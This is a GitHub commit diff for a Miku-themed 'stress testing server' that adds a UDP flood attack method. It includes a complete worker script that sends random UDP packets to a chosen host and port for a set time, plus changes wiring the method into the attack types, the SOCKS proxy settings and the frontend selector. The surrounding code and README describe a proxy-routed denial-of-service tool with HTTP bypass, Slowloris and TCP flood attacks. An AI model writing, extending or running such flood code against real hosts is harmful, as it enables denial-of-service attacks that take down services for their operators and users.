This commit is contained in:
Elias 2025-02-26 10:00:44 +01:00 committed by GitHub
commit 3649e764ac
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
6 changed files with 53 additions and 0 deletions

View file

@ -19,6 +19,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
- `HTTP Slowloris` - Send HTTP requests and keep the connection open
- `Minecraft Ping` - Send Minecraft ping/motd requests
- `TCP Flood` - Send random TCP packets
- `UDP Flood` - Send random UDP packets
## Setup 🛠️

View file

@ -17,6 +17,7 @@ const attackWorkers: { [key in AttackMethod]: string } = {
http_bypass: "./workers/httpBypassAttack.js",
http_slowloris: "./workers/httpSlowlorisAttack.js",
tcp_flood: "./workers/tcpFloodAttack.js",
udp_flood: "./workers/udpFloodAttack.js",
minecraft_ping: "./workers/minecraftPingAttack.js",
};

View file

@ -13,4 +13,5 @@ export type AttackMethod =
| "http_bypass"
| "http_slowloris"
| "tcp_flood"
| "udp_flood"
| "minecraft_ping";

View file

@ -17,6 +17,7 @@ const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = {
http_bypass: ["http", "https", "socks4", "socks5"],
http_slowloris: ["socks4", "socks5"],
tcp_flood: ["socks4", "socks5"],
udp_flood: ["socks4", "socks5"],
minecraft_ping: ["socks4", "socks5"],
};

View file

@ -0,0 +1,48 @@
import { parentPort, workerData } from "worker_threads";
import dgram from "dgram";
import { randomString } from "../utils/randomUtils.js";
const startAttack = () => {
const { target, duration, packetDelay, packetSize } = workerData;
const [targetHost, targetPort] = target.split(":");
const port = parseInt(targetPort, 10);
if (isNaN(port)) throw new Error("Invalid port: Should be a number");
if (port < 1 || port > 65535) throw new Error("Invalid port: Should be between 1 and 65535");
const socket = dgram.createSocket("udp4");
let totalPackets = 0;
const startTime = Date.now();
const sendPacket = () => {
const elapsedTime = (Date.now() - startTime) / 1000;
if (elapsedTime >= duration) {
socket.close();
parentPort.postMessage({ log: "Attack finished", totalPackets });
process.exit(0);
}
const message = randomString(packetSize);
socket.send(message, port, targetHost, (err) => {
if (err) {
parentPort.postMessage({
log: `❌ Packet failed to ${targetHost}:${port}: ${err.message}`,
totalPackets,
});
} else {
totalPackets++;
parentPort.postMessage({
log: `✅ Packet sent to ${targetHost}:${port}`,
totalPackets,
});
}
});
};
setInterval(sendPacket, packetDelay);
};
if (workerData) {
startAttack();
}

View file

@ -390,6 +390,7 @@ function App() {
<option value="http_bypass">HTTP/Bypass</option>
<option value="http_slowloris">HTTP/Slowloris</option>
<option value="tcp_flood">TCP/Flood</option>
<option value="udp_flood">UDP/Flood</option>
<option value="minecraft_ping">Minecraft/Ping</option>
</select>
</div>